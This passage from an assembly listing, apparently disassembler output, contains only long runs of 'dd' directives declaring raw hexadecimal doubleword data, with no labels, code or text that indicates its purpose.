55589E09h, 0D8A91D54h, 8A22C8A8h, 56D2AFCh dd 0F46C2EBCh, 77A50083h, 0F2123E2Dh, 5880BE52h, 22B84296h dd 131006Dh, 44122A78h, 0E00844Dh, 96E3A72h, 3D56FC28h dd 99844F7Bh, 92D7B6E4h, 0A120AEA8h, 5466C560h, 7E289Eh dd 17DFBF72h, 0DA79DD19h, 0B6F18101h, 43FB49D0h, 139C42A0h dd 5C962294h, 66E1764h, 0C937C6ECh, 8126CA1h, 95CAE6Ah dd 0ABEEE60Dh, 0B3E0D20Eh, 91649DA6h, 0A1117801h, 8ECA1347h dd 0BA7FC040h, 1D0125E9h, 995BD810h, 619FDA00h, 0D1F64CDCh dd 2422017Ch, 5272F5D5h, 40382114h, 0F18EF314h, 84423F81h dd 11FC19F0h, 59802BC6h, 28EEA01h, 0B202582Eh, 1FBB9974h dd 1EC58EFh, 335F9777h, 22D6E69Eh, 180C749Ch, 1121678Eh dd 0F7E066h, 460DACCFh, 30C09E1h, 0A5FA8490h, 88367744h dd 0D4B1B570h, 0F99E243Dh, 2C49EC17h, 0DAA600BEh, 6098F89Ch dd 7B86612Bh, 0E5079D47h, 6942935Ch, 283179E0h, 848A0BCFh dd 0F884583Fh, 9EE541C7h, 5850CDE7h, 20108F20h, 0C700EECFh dd 0F1680E24h, 0AC54A6h, 51AE20D7h, 847C1661h, 0E6F7B904h dd 9081D036h, 0A442D88Ah, 119C19F4h, 0C073A1F0h, 0CA3B2358h dd 44E22817h, 0D22513DCh, 0C85AAB04h, 992A6630h, 16797C3h dd 0DC746062h, 0D2B44875h, 269437E0h, 15E95338h, 664CADAh dd 29678D38h, 0ACF34811h, 685C0B00h, 71C6C2B3h, 522D3600h dd 0D1D5A3BEh, 0C442E1C1h, 22FC1B72h, 13A11B8h, 2400DE92h dd 10923569h, 7E2E6D12h, 86C668C0h, 0F8364C53h, 11E59040h dd 21BAA3F0h, 8E8590E0h, 82029192h, 77696BA2h, 63FDD8C9h dd 0B19A009Ch, 0C39BD4BAh, 3F5C0EBFh, 0F44093B4h, 22CC5E14h dd 0DE90B57Eh, 80A96302h, 526791D0h, 0A6C81CF0h, 0AD07C0B3h dd 6AF295C0h, 1EEF9816h, 40F45448h, 0A0117574h, 37D02154h dd 0BA10640h, 96D42FE6h, 9E754C83h, 1A3FFB3h, 421931A9h dd 0B510729Ch, 38FD8B3Eh, 9C882DD0h, 16E0726Ah, 0AF5D760h dd 64C45670h, 0C831534Ah, 0C9FD3C92h, 1F3338E4h, 409EBD23h dd 22F62D75h, 0D090D7E6h, 7080F77Fh, 190B9A2h, 36969FA1h dd 0A8636Dh, 0ED6E7E2Fh, 38DAC3h, 50D6FE64h, 3F9106B5h dd 33365214h, 90EC21DCh, 62959E9Fh, 0A6CF8050h, 0E991A6Ah dd 408822F1h, 12FD127h, 0F42128C4h, 0F8A49CF0h, 41659640h dd 0F842368h, 40561F1Bh, 51BB5C72h, 0CC0388Eh, 154651Dh dd 4924A0D5h, 2E183C60h, 0C000A89Dh, 3AD45328h, 4970603Ch dd 0F2FDFF42h, 6723A401h, 0ED5B4EA3h, 722E62E4h, 13A7FABCh dd 0C72CD6Fh, 1339FAC8h, 302FF42Ch, 0D4403664h, 0D16BA01Fh dd 1585153h, 54C5BCF4h, 0AD70AD2Ah, 71C207F3h, 0B0E5B6E2h dd 9DA1EA92h, 7E7CAF50h, 6C24A4F6h, 88104497h, 2485FCC8h dd 3C042BBFh, 0A481C5C6h, 0F041D8B2h, 820083DFh, 0C4916A36h dd 712D6C00h, 1DF2B885h, 406138D2h, 0E76BE53h, 0F1015B56h dd 0F89179FFh, 3EF036FAh, 14100DA0h, 638C2630h, 0BDE30058h dd 0E8F05A5Eh, 4CA14814h, 23971221h, 5B745830h, 689166h dd 0C233ABAAh, 4128FD62h, 3D23981Eh, 4FBB805Dh, 9C754D98h dd 0F6DC8200h, 7C857B54h, 0B99401E6h, 90F0F7CEh, 461F1078h dd 3BA101D0h, 20D5EEB6h, 0F38337Fh, 0E03E376Bh, 0F6CDFFCAh dd 0B8711292h, 625458ECh, 6A29F01Fh, 0FE91B47Ch, 8B43F2Eh dd 6A422C5Fh, 209C13FFh, 0AF4BE7h, 5DBE7EA6h, 9119BBB6h dd 0C8331F28h, 9A146B20h, 705B3DFCh, 22D51684h, 0D004C905h dd 0CA62293Ah, 1038C370h, 0D4888E6Dh, 2C0C2571h, 0A6FA7402h dd 1107B891h, 8C674670h, 18862A10h, 38F1DCCEh, 4A50E8B6h dd 10BC96h, 0A48DE689h, 0B7796Fh, 853511E8h, 0B2A94BD9h dd 0B5F08B18h, 241E3481h, 4E2879F7h, 0A2D1A885h, 3CBE0728h dd 37801C90h, 1DE2C3D5h, 9203B848h, 0AF34885Ah, 4EF03640h dd 66A44BA8h, 0D5CD5C68h, 0F5FAC900h, 0A5E46197h, 0CBB70DC8h dd 8CC8DDCEh, 0F1395139h, 70EE4AA4h, 0FFB5935Ch, 3290D300h dd 0EA7898D0h, 59709806h, 681034B1h, 0A78888A9h, 4A547490h dd 43F65E00h, 0B5A94E51h, 2DA070Ch, 440FE742h, 90E0859Fh dd 0AEAF3338h, 94A8DC91h, 29986958h, 2F90D086h, 12D73AB0h dd 1326A00Bh, 4D7CC8F1h, 4AEF1276h, 0A71C0FE6h, 0EA960BD0h dd 20206404h, 7C45D2A1h, 0CFB04Ch, 8BEE8680h, 4671BC99h dd 1270DD50h, 69288h, 0A8CCAB9Bh, 0D3F32446h, 0A58B2C09h dd 0C08402F8h, 12E011EEh, 3B00F2CEh, 14802FADh, 324F9C2Eh dd 0C800CD54h, 587DD1AEh, 0B0B52CA9h, 1B9B208Ch, 69AAF016h dd 2173088h, 9E31C013h, 7CC6C8E4h, 4C8C282Eh, 43AFB560h dd 0E25705F9h, 808B0331h, 117A58Ah, 0DCE09004h, 84828207h dd 10151992h, 0C0F1CF1Fh dd 0A63EFCB1h, 54074512h, 463B9CB2h, 2B482330h, 5AA0E8FDh dd 3E70403Dh, 698A98E2h, 0F0B271F4h, 6EC36B10h, 0CDD6CA01h dd 3DFB1245h, 6C205AF0h, 7205E1h, 0AD497E70h, 6465D98Dh dd 766B4300h, 0B519BC1Eh, 39386CBEh, 1016D410h, 0B8306624h dd 12B059FFh, 0C237EBC2h, 40C69778h, 0A60D144h, 1833BAFCh dd 40C42EB0h, 0DF1C5998h, 0AA4B3602h, 4081B19Bh, 12266318h dd 86CA2C4h, 7964DE4Ch, 9892A122h, 43FDE898h, 85D0AA00h dd 0D52ADA24h, 4CCC489Eh, 18807310h, 69D12E66h, 9EF403A9h dd 0CB89D6E2h, 91C0D5D4h, 68B971B4h, 0AC0893ACh, 4FDC641Bh dd 554920D4h, 39473584h, 0CE183A1Eh, 0DCA299F0h, 0FC97C30Fh dd 0A5FB409Dh, 1FCC5D9Fh, 0FAA03F6Bh, 0DC8CB92Dh, 573CB648h dd 28460124h, 52DD8C1Dh, 99712EF0h, 355A82B8h, 8546724h dd 39F31386h, 9EE726D1h, 2EEA583Ch, 8280589Bh, 0DCA387EBh dd 0D4450905h, 0EC014ADBh, 2965C746h, 91C0216Ch, 0D03926E2h dd 6DF3E08h, 8919C633h, 1D78F01h, 7223C291h, 2A325851h dd 345017DFh, 92B82CA9h, 8C207845h, 24A189ECh, 0CF442B64h dd 1D140FAEh, 6580BB5Eh, 25F9139Eh, 0D427094h, 279CF267h dd 35740F28h, 0DE4B530Eh, 0D5F2E200h, 0D4F870h, 42B69A02h dd 0DB9EDE10h, 0A204237Ah, 0C6C4E9D9h, 0F4593CF4h, 8F6B0ACEh dd 800CE719h, 0DCC232EAh, 3149A9BCh, 6E0B1078h, 3D92F088h dd 2C479C90h, 0DD072E9Ch, 6495081Ch, 1223C032h, 4F708404h dd 2782E11h, 0C604E81Eh, 0D2A0125Ch, 6A441E36h, 6DC24438h dd 1724B090h, 0FF40FCF9h, 122EB360h, 129E76C5h, 145C3570h dd 7809E470h, 0A0821E67h, 9611EFA0h, 35F40815h, 2B8361B1h dd 0A3AE020h, 2C46D9AAh, 13AB1E10h, 81DC20CEh, 3800D397h dd 0CF654783h, 8D5F7Bh, 521D71D7h, 0C2898A14h, 100C0448h dd 4884A8B0h, 0CDC01837h, 0B4EF09E1h, 6C22E59Ch, 9910D826h dd 82A4B920h, 0C94BC32Eh, 3AF28843h, 9DE67120h, 9EEC2C26h dd 0D7FA0980h, 682BC4E9h, 64629C74h, 457C5833h, 8A5B870h dd 0D048ABF1h, 0EDC325F4h, 0A4F9D032h, 0A7E85607h, 7DEE1060h dd 0F8B54CECh, 9CA52A10h, 426090E2h, 1822D7h, 56901D4Dh dd 0CA74C5A4h, 8B989300h, 4E65E348h, 1D8A3A7Ch, 67D46406h dd 0FE00B936h, 0EFE60A60h, 0E13E0BEh, 0D8BC6372h, 0C0124C81h dd 6805151h, 3CB104D6h, 0B4480063h, 0E4FD1312h, 0E663CE08h dd 901ADA99h, 12B5E4A0h, 864C22Ah, 0B16F6F78h, 49F46D1Eh dd 0C8E81BDEh, 51C5F9F2h, 0E4887324h, 24C90D4h, 0D286E94Eh dd 0A5825EBEh, 4458FD9Fh, 12686D20h, 88722269h, 2A093388h dd 0E59CF0CAh, 165E0028h, 0E6DC3391h, 77852600h, 2D500A72h dd 816F0912h, 9C044445h, 20F43263h, 4DBEC8D4h, 0DD4C7B7Fh dd 64372E3Ch, 0C82AB88h, 20692466h, 0F9553807h, 0E670F7DEh dd 174F7D39h, 3103DF95h, 2CE7B974h, 0CF6C0D8h, 1B03590h dd 0BC603FC4h, 0FC67E05Ah, 0A8A10348h, 604C5D77h, 3F89C6B0h dd 2E479088h, 0C4BB7009h, 67A20080h, 0F0EC468Ah, 249656C9h dd 6A67C024h, 18780459h, 0E4C3D4Ah, 84E0902Ch, 0E7CD2C9h dd 1B781001h, 0C8C368BDh, 0EB195F02h, 0F4966012h, 0E7FE44h dd 629676BEh, 2BC5CD79h, 0A2203C92h, 0BE2424DDh, 9C3E70BCh dd 51E9249Ch, 683E9DE8h, 0F6A3011Ch, 4B620573h, 0A4203056h dd 72534586h, 0EDF7001Ch, 5FDE3210h, 2FCC1CB7h, 8D9FC0C8h dd 1503B852h, 32A9825h, 0A4B3BAF4h, 526AB544h, 0ADD60408h dd 0C9630490h, 61578D00h, 5DE1E624h, 89B60B20h, 0A9018F50h dd 2C7262F9h, 942720A4h, 2D63C174h, 2C702371h, 7408EC5Bh dd 0D49610h, 26BAD1C8h, 7716BE4Dh, 38486CDFh, 26F16E53h dd 0C308D069h, 60282417h, 4028E516h, 0E06B3300h, 664FE8ECh dd 1EC472A1h, 82966965h, 0C8E4F0F7h, 280280E6h, 67CA108Ch dd 5410C869h, 8A5884EEh, 7E93C45Ch, 44E61F45h, 2ED1EF8h dd 569DF03Fh, 32A04454h, 948C588h, 3C90B571h, 2CA49EF0h dd 0C94F481h, 0A414ABB5h, 0A88D8B4Bh, 78202170h, 91378098h dd 1E3B3031h, 0B045DCAh, 8800DE4Bh, 4610447Bh, 0F32EF8E3h dd 0FC12C974h, 9C80D491h, 603D89D1h, 6E684963h, 0EC05B78Dh dd 2EAC3C18h, 0D3EA5E80h, 0CF85026Fh, 1E1204CCh, 323C98A4h dd 0E03E2427h, 0F10270h, 0FAA29B33h, 0E4CA0F18h, 9BC6DFFh dd 0ACC00475h, 301C41E7h, 631B36B4h, 9732C459h, 946429h dd 6021414Ch, 3BE70E2Fh, 5F3F5200h, 0F07EC6DDh, 63651354h dd 0D9B404FBh, 7F2C185Bh, 82CF5C81h, 5A0F3800h, 0E1FDCD06h dd 5048E48h, 446AF283h, 85483C48h, 0F210BF24h, 0F82D22D4h dd 2491DF6Ch, 87D20808h, 0CD6B083Eh, 0A4AC2170h, 32003BACh dd 9EAD2D13h, 3E7AB2A7h, 83E20900h, 0B07978C9h, 544F07BAh dd 404E6F8Eh, 0D9A1ABACh, 0B281C891h, 0E608D762h, 1CA256C0h dd 3EDDF901h, 36E8F300h, 9EF6DE1Eh, 8494AC98h, 49C40651h dd 50EA03h, 0EB309B52h, 0CEB3BBB9h, 3A25E0B0h, 5D8B6A4h dd 0C660551Bh, 6F73C0A0h, 5002E141h, 0E278437Ah, 2050D6E8h dd 0A7A8B180h, 4EC92482h, 0C88CF80Ah, 88F45863h, 0AA60CABDh dd 83903828h, 8F6713A8h, 16BCB4C0h, 5CEEDB00h, 1A8901B2h dd 2CD54BA3h, 248D6B18h, 0C83F1028h, 256C90F6h, 0B44C687Fh dd 0DC7CA96Dh, 6068A711h, 7C00FB43h, 0F2E7F990h, 1F0562Eh dd 55379F9Bh, 38D02D86h, 4671B09Ch, 2049D7F5h, 807B27B0h dd 47A70B12h, 28A5780Fh, 33E49329h, 40A4B43Ch, 0A9034F96h dd 824B690h, 1F1323EFh, 0B469548Ch, 0E630004h, 0B0284333h dd 882D4Ch, 7D8A51B9h, 0F19471h, 0FA3D9F75h, 31C7ED35h dd 259118B4h, 0A1B03A00h, 0F3D4D11h, 2E387800h, 0F745CCFAh dd 0D247241Dh, 0A5C20818h, 50D86A44h, 604540C5h, 0CE6570B9h dd 0B218EC23h, 24F4D943h, 0A9480880h, 374542h, 8267B5A1h dd 429A3B00h, 0D655487Eh, 6C9E5C2Fh, 0F413AD04h, 357CBC37h dd 8A04130h, 0F212E914h, 2A182113h, 4B22FB1Dh, 856C9CB8h dd 2C5A9C9h, 0D3DC92F0h, 84830ED8h, 0AB46412Ch, 0E85EED00h dd 66688B51h, 53BF0029h, 4EA9FFFh, 9BF0273Ch, 0AC85B505h dd 948032EEh, 3E26E335h, 9D008C13h, 0C4284B9h, 8F7A208Eh dd 0EDEA4898h, 21DB4284h, 0C8FA9075h, 0CBB74172h, 4AE43887h dd 4E6B240Bh, 822A00E8h, 57FAC920h, 6220E57Eh, 2B02460Fh dd 0A108EC27h, 453D0C68h, 0EF008819h, 441F7C05h, 17D4B521h dd 31ADAE81h, 0EC966474h, 87025AF0h, 263DFFCAh, 54ECD8CEh dd 88E17034h, 832F0EE7h, 0CBE42098h, 0AF37A04h, 0E8131680h dd 91D045D8h, 2DD9C6C4h, 13252178h, 8010E2E8h, 3327E93Bh dd 28A25B05h, 704C24F0h, 50F4C820h, 69846F3Bh, 0F8C0290Bh dd 209AC2FFh, 827CB750h, 6C75EA4Eh, 500984A2h, 0FD80E1CEh dd 300861F3h, 80F79324h, 0ACCD7810h, 5C202FB9h, 4CE458h dd 0EAF8136Eh, 1056FD81h, 481DBF03h, 0A4D8930Bh, 68D5A4C2h dd 94C613B8h, 0E7CE8DECh, 0ABE88051h, 0BA1D69D0h, 4AE3FAF9h dd 2C04DD2Fh, 4C60C18Ch, 5068F2BAh, 40A43B88h, 70CC6C04h dd 0A0903C09h, 0E77960B2h, 977EAA07h, 0DCC039F0h, 0F72D281h dd 0CC4943BEh, 0D6C01382h, 0F08AE4A2h, 0A37C0109h, 0E06CD8B7h dd 46D7D4A0h, 0E7CD6815h, 0D9870068h, 508C1C3Ah, 6E09177Bh dd 24244460h, 2B8822EDh dd 6DBFFC61h, 2EC00E0h, 0B9016065h, 17BB75B4h, 14DBC4Fh dd 0C84AC398h, 78AAD4FCh, 0FE1CD20Eh, 0F84B02C2h, 0E76868C7h dd 0C3A00BEh, 0F0C83896h, 4BE2559h, 3AC9DA10h, 6D889C51h dd 0FFD4005Dh, 7D03FE50h, 2BE4801h, 8D8BE61Ah, 5275AC42h dd 0C8939DF0h, 70CB21B9h, 9A13D510h, 0F8120D95h, 48A9CC88h dd 6922DCD1h, 0F021705Ah, 0DC223C3Ah, 85D0C200h, 9B550AA0h dd 0B6B48304h, 7CC263F5h, 13A123F9h, 6830CC9Ch, 30949Fh dd 97C27E63h, 115C9A60h, 8E1D3E01h, 0D2DB67D5h, 0D0C09896h dd 0C2DCA914h, 0ABB95B00h, 0BB599AD1h, 28C3F6F3h, 11D871D2h dd 22292505h, 74E70018h, 72331E0Eh, 1C2C7D99h, 78847CD6h dd 0F4886665h, 9DF400C6h, 32C2C958h, 17F2E646h, 6C8C9A51h dd 4AB08FCh, 602A916Dh, 47707749h, 47B891D9h, 9205F0B8h dd 0A0003785h, 36C39FD8h, 0F8F6A3Ch, 0A90B2DB7h, 9C85C569h dd 0C630D3E7h, 4B5A6022h, 0F4A4D066h, 0F1008E41h, 0EE44B12Ch dd 463DF29h, 1E49BAFAh, 0C0DCBC36h, 860D2FFBh, 58AE3EE4h dd 0C89CA318h, 8F09CDD4h, 635A5C8Dh, 22B68218h, 0C429DFBBh dd 0F1EE02D4h, 21E6ED8Ch, 87CC36E3h, 22A4144Ch, 38092961h dd 3C10DC44h, 1F02C3F1h, 0FDCF044Dh, 0F501DCC6h, 0E7A8D2FFh dd 0E0E2085Ah, 0B0187Ch, 0DF1A6CE0h, 0E871547Eh, 50DC0400h dd 0B735F4B9h, 673800D2h, 0BAC1CC5Ah, 2CBEAE39h, 0CE002F11h dd 2AA66689h, 19039516h, 8AB63A68h, 0B4A81138h, 0DCAF1439h dd 212274h, 3117756Ch, 3557A496h, 5192BD16h, 2AFC8810h dd 4B44784Ah, 44E4B41Fh, 5FB680EFh, 7400CCEEh, 0A54BC612h dd 1D4DB65h, 0F9593D61h, 0E036E888h, 2A16BAFBh, 0E08028ABh dd 0B0AF76FDh, 1ACF706Ch, 40E62C22h, 0D816D818h, 94AE405h dd 0EC91D597h, 8408EFBCh, 40CC748Ah, 4CC89349h, 948E513h dd 692E180Fh, 7BBC30DFh, 57130073h, 62F906AFh, 0BF0458FFh dd 0D40F6660h, 0DC733604h, 84A652E0h, 99006C45h, 0CFF8E36Bh dd 0C8D31360h, 3D12C5C8h, 440C0FDh, 0BDB44BCAh, 0D5F801BBh dd 0DB29AE59h, 2243828h, 6C5DA0CDh, 1B44E11Eh, 0C8FDE217h dd 22285479h, 0BC3F0F39h, 54F600EBh, 0C29D89Ch, 3E60330h dd 0A53216EAh, 96EBD6B0h, 460B8501h, 83652DD4h, 0A11DECh dd 0B832BED3h, 3ADD5540h, 0CCC84601h, 0EAE2887Eh, 0BEC3070h dd 0A1236434h, 6D000444h, 0C9FB002h, 0CED26Ch, 0DD17F2E5h dd 78B21230h, 0F4E60909h, 0A8840B3Ah, 3082F0D8h, 48873D9Eh dd 30419788h, 6620294Dh, 0E5095328h, 1460B5F0h, 5A9200F8h dd 0DF30B88Ch, 1AE63998h, 7C88205Bh, 0E0AE0942h, 8F0061A3h dd 0FAFEFF4h, 9002390h, 4EBBBF2Ah, 16A08B74h, 0A56B917Bh dd 0CE300184h, 6AA99FEAh, 7D0FF680h, 5ACAC39Dh, 0B4E4D08Fh dd 4B0549AFh, 9E0DC0AEh, 80478C81h, 0E7BA8C40h, 4424B535h dd 0CF1F4376h, 0E5900EFh, 4DA067Dh, 2020555h, 0F93EEEB8h dd 89405F6Ch, 2100C04Ch, 163C5E6h, 3BACB1C6h, 2C003827h dd 288DFB26h, 0BE3CD437h, 7019626Bh, 0C07444A4h, 0C51EBAA0h dd 0C406FFD5h, 0DFCBB852h, 45900330h, 0CC7FECD1h, 88233C2h dd 148B7CFFh, 750318D1h, 0B4974Ah, 0DA090696h, 0D7CE7025h dd 8EEE1E0Fh, 0A43B8080h, 0A1C8FF8Fh, 252BA10Ch, 0EC6A0030h dd 26AF3EADh, 9EFA4CB8h, 0C3FE6C16h, 366C0B4h, 8F0554F8h dd 809CF41Ch, 0BF6F4D44h, 0C87FFC01h, 0CEC4D4A3h, 20C69C65h dd 0FB5F034Dh, 2F9EE602h, 50E2D2CAh, 9C38D358h, 0F1E5A14h dd 0DA409269h, 0A6E7516Fh, 9CD6006Eh, 47D1CD28h, 1402EB2Fh dd 0AAF0304Ch, 492C5449h, 0CE0FE030h, 40DCF482h, 1571CB8Bh dd 0ABF0D509h, 704D17Dh, 412CE077h, 305356BEh, 0CB189FE8h dd 3FA892F2h, 0CF991228h, 807CF18Dh, 3D461FA9h, 0B863B47h dd 0D8A59F8Ch, 0D3801C79h, 8F6E63F4h, 9AF80192h, 697BAEEAh dd 3E0C384Dh, 0C92101FAh, 3C392D76h, 9D871C44h, 0FEE3C200h dd 5BD92DCCh, 0CE8C461h, 787458F4h, 4BE8C22h, 0C7B4C00Eh dd 84BBA012h, 80F7D440h, 92143600h, 9B9EB188h, 0A206FCEEh dd 645FCB0Eh, 90170B90h, 0C4182E99h, 0AA7DD444h, 21D22C00h dd 0B87067C0h, 0BB8BA59h, 0E6C786A1h, 0F0B0D046h, 0C6A0748Bh dd 3EE50E0Ah, 55AC4403h, 83CBB0C1h, 51720BD8h, 68A093E0h dd 0AF9F2EA0h, 0AB4A9B5h, 3D43FCFCh, 6861007Bh, 0CBF1426h dd 9F00548Ch, 6E87FF6Dh, 6A3BBAC6h, 9446901h, 8868C9FBh dd 4E0EE056h, 49DBCA8h, 1BC00905h, 2763D755h, 8C58BFD1h dd 10D59E13h, 72F7CC8h, 1A1C5083h, 2C87C075h, 20001745h dd 11C12AFBh, 72A332B3h, 0ABB40E35h, 4A859E8Dh, 0CD3082CFh dd 2C911F24h, 803C6839h, 305DF380h, 913F346Dh, 0CBB604D8h dd 3CE29216h, 146EED2Fh, 0BEFF280Eh, 92120045h, 7A27B7A2h dd 0D85F0061h, 0B087FC57h, 7C98A528h, 0B798B50Eh, 0F708A0C3h dd 1FD5A3h, 0C73D7CE8h, 54C0745Fh, 282A461Ah, 8F980591h dd 8BFCCCh, 0E3A82D17h, 4DBDE4C0h, 750F7E0Eh, 0B5013FECh dd 7E60E3Bh, 0CA74303Fh, 0C7748839h, 9A9D9B00h, 2B82CEA0h dd 1C92023Fh, 0F0B9AB59h, 0ED5D0941h, 0FDEAF126h, 19E9F07Eh dd 195473Eh, 98E883BBh, 805074A3h, 4A03EC6h, 0F0D0B8FDh dd 2348C90h, 39E0D0B0h, 804FE0B9h, 0C415EBA1h, 0CE722DCDh dd 4E0A38E8h, 5BB74500h, 788E39CFh, 0A2EEA3h, 0D9A46358h dd 28670274h, 5FF688h, 0D51237DFh, 815B4AAEh, 890B327Eh dd 583E519Ah, 0E6292494h, 0EB886098h, 0C000CC11h, 5173A420h dd 26D737A7h, 24D7972Ah, 1B1E6074h, 9507A624h, 77F08D2Dh dd 0C9BA2FEh, 0FAE64098h, 6DF0B4Ch, 6C51077Ch, 0E0A46692h dd 84FAFEh, 0CB6EA5B0h, 0BE01E5A6h, 5E388702h, 0F9F067B3h dd 115300D8h, 0D7DEC249h, 1C738A00h, 996CE65Eh, 6C8B4C83h dd 6824720Bh, 9E669898h, 77F420BFh, 2556782Bh, 78C83F4Ch dd 61007BDDh, 2F46CD48h, 2D79E528h, 0A4E082FAh, 114C6D5Fh dd 0B0884F00h, 827A00ACh, 0F9CF6726h, 541EA7C6h, 2D023CFCh dd 48128CB2h, 280122FCh, 1274F213h, 0A5B9C6CAh, 367020E4h dd 6EADB700h, 7E2FDA9Eh, 526688EDh, 0CF13C6FCh, 0FC916782h dd 6F319473h, 1E99F60h, 0A0DFF6CDh, 979ECE14h, 5CE2A1F1h dd 569DC21Ch, 3C4400B4h, 0B7A90773h, 7D1E6E7Bh, 674571A1h dd 0F4C16935h, 4C40CD75h, 160C77FFh, 0E2136386h, 706E006Ch dd 24897DADh, 749B1D3Eh, 0D5B3444Dh, 60B8CDFBh, 3619A420h dd 1339206Ch, 0C18A3CE9h, 40CC6D24h, 3A0AFC69h, 13097499h dd 0D0D9FFh, 46F93204h, 6816923Ch, 4068228h, 51499329h dd 0FC334C72h, 424CB900h, 5576CC38h, 0A0FB9E2Eh, 4C8904Bh dd 0A4B05C8h, 9920EA5Ch, 73686C64h, 0B9AA1300h, 0E91FEA1Ch dd 6D310077h, 9EB5DFB3h, 70F097F9h, 2B02067Eh, 0DBA061FEh dd 0B57AE0A4h, 42390386h, 2C460F7Fh, 0D0C6FEC0h, 0F3444395h dd 1E06C045h, 57802635h, 0D792006Ch, 24256228h, 6422665Bh dd 49E610F2h, 10D29E75h, 380418A8h, 0CCDE54C3h, 16009F70h dd 42124043h, 61EB90h, 0ECD71773h, 96CCD866h, 79F70301h dd 9CDA01C1h, 7D18C3CCh, 4F5B1D58h, 8201F8DFh, 847FC98Bh dd 902EF8F2h, 35284000h, 7E2CC751h, 0FD99136Dh, 4D5D00BAh dd 13F90130h, 9DECF053h, 0B79D844Eh, 0E00FE822h, 17552E6h dd 3D634C86h, 0D6C035B0h dd 0D0406C76h, 269D92C9h, 178E04Eh, 72CC60A7h, 1FA42033h dd 9F001BF4h, 9DAED88Ah, 0F026A097h, 0D048957Ch, 1497BE24h dd 762B0018h, 0ACD53BF0h, 0F4025CCCh, 0C23913A7h, 0F3734160h dd 0C51E8C73h, 0F136129Dh, 0B423B8h, 437916Ah, 0F23B7521h dd 0AD280578h, 529FAE24h, 34C0020h, 3740397Dh, 14F1E09h dd 20E42008h, 0B98CA53h, 29B8899Dh, 91B75410h, 20C95E90h dd 0CE4061D3h, 6E02582Dh, 1787E0B3h, 0CCD3C0DDh, 0A0063973h dd 998EA18Bh, 0B40B34A1h, 0F8223Ch, 0E29FF151h, 0EA02CC4h dd 0A261BB43h, 58778420h, 0AA3C025Ah, 810B8410h, 0F8C00A37h dd 9F6665C0h, 8E9C08A0h, 8500D309h, 0D298E293h, 7EDB55Eh dd 9F2B01D6h, 0FC1471C0h, 6E99DBBAh, 80503C2Dh, 0F77CA4F3h dd 52B10013h, 0AE2ED46Dh, 0BE35B5CCh, 0B010613Dh, 64AB8480h dd 74840EAEh, 0B1E63987h, 7E77BE58h, 0C0FEC842h, 826825EDh dd 0A8A9D3F4h, 4B203070h, 0C01F5B82h, 0A6931814h, 0EAAE30C1h dd 483D6608h, 0D8896001h, 30919ABEh, 720A4AE6h, 0A49895A1h dd 2EC68B05h, 7F7B84E2h, 1523013Eh, 7B43600Fh, 0F450302Ch dd 3095008Eh, 0D020E79Eh, 2C5F0E66h, 0E8B84C8h, 0D1DCAE26h dd 0D273DE00h, 33146E15h, 5F7030BEh, 101048C7h, 0F55774Dh dd 8CB1E70Ah, 5DE04517h, 0F0B423A2h, 0F8D677CAh, 36674461h dd 0B3FB110h, 226ABD00h, 0EF8170CCh, 0DF482641h, 0B81F0181h dd 7C71DD03h, 37438488h, 0D7C0D818h, 7EAF4B12h, 41EA88E4h dd 0A8613AE8h, 0A121BA5Ch, 2EA8003Ah, 8C6B36BEh, 468068B1h dd 470AD038h, 42BE11Eh, 55FF918h, 20567469h, 5828063h dd 2A997928h, 562CCCEBh, 0EE3C3A00h, 5323CCAAh, 33183C9Fh dd 0B94AF03h, 84806E51h, 445F6652h, 95B0001Bh, 0DD006CB7h dd 30700581h, 0D23AAC4Dh, 0BF5305C3h, 0C440E24Eh, 71D48D23h dd 8FC49CA2h, 0DFA5AE4Bh, 3EF4E4C9h, 0F1853901h, 30DC2C3Ah dd 9F7359E8h, 0E6378418h, 64E5982Ch, 27D58D00h, 0F083F668h dd 0FD9E05C4h, 8466F0A5h, 9F58E88Dh, 0FC0BA340h, 0F738F05h dd 0F59BD5A2h, 0A89A3E65h, 157A80D4h, 3687CCFh, 61EC48C8h dd 60BFBAC2h, 406739B3h, 2095FF2Eh, 21CF3200h, 64384Eh dd 3DC7463Eh, 3A4339DFh, 1FB8AE00h, 0BB4730E8h, 219E0474h dd 0A88075BEh, 6F460B24h, 5E1C4696h, 77DC62CAh, 81368303h dd 6BF81E62h, 60B89789h, 4F3E985Bh, 8ED080BDh, 7E431360h dd 0CAF22635h, 8094A998h, 20903D9Ah, 5501E587h, 1D5477DDh dd 58236A7Ch, 3C0CA4Bh, 83F747CAh, 0F841E541h, 0FBF1BF39h dd 0FFE858h, 428EC85Ch, 0A8AD4B36h, 0BE9E5A0Bh, 492C0170h dd 1F3AC7F6h, 0FC51A574h, 302646C4h, 0BE956620h, 0FA2340BCh dd 0D358D54Eh, 0A13B0BC9h, 1A240796h, 0AC3F1288h, 0C682DF18h dd 593608FDh, 70C6AD58h, 467242Eh, 0E427FF64h, 0D490887Ah dd 0BC99C576h, 0D27CE180h, 172E17D7h, 4246BD1h, 56CF6CE8h dd 922AC008h, 8400F4CEh, 9B420200h, 834C0560h, 53FA0B4Bh dd 5D00F5F2h, 1FA9C1A6h, 0AF908F54h, 0E747489Eh, 0C6EA6732h dd 0E2984164h, 0DC082024h, 0C5630780h, 3342A9h, 4684C41Ch dd 9E7B9389h, 5A35A006h, 76E05C73h, 80249331h, 816AAFA1h dd 0A0F69EBFh, 4C05977Ah, 475F390h, 0DCC110C4h, 4431AF63h dd 2FD4236Fh, 0B69E4B90h, 38C9D85Bh, 3C5E5DC0h, 138396B1h dd 0B7211DDCh, 0C67AC0F0h, 0FA357904h, 2402F0EEh, 1291C75h dd 6887E6Ch, 0CB18423Bh, 644ED99Ah, 9903FF00h, 83AEA92h dd 9E60567h, 0ECBF2404h, 0AFC820Ch, 0D19CCA9Eh, 4C2400A4h dd 0C8988232h, 8660400h, 9C233B34h, 9A0DF264h, 367E0EACh dd 0A942E674h, 0CDC8807h, 2498AEC0h, 0D70C1269h, 8094F881h dd 9120ABB7h, 478A014Ch, 14DC5A6Ch, 1D80CF3Ch, 260EA2Fh dd 989DC1C1h, 12667AD4h, 0BCA1D18Ch, 0A20680C0h, 1988F449h dd 88464104h, 0D0E0CE7Eh, 88916CA1h, 0FF0362A4h, 0C038ADD8h dd 1D2C4AFh, 0B7223D5h, 0F08B64B0h, 7F002F08h, 0FE7112B3h dd 37583Eh, 225A2B46h, 83B58F1Ah, 4502BD00h, 91C9C61Ch dd 8ABA5A71h, 19AB003Ch, 549F588Eh, 0ECDF008Ah, 76083DEh dd 3D58ADB9h, 0C434047Ch, 0B08867D4h, 0BECB0F50h, 0D981E381h dd 0D868AA83h, 7496ADD7h, 0B6840D40h, 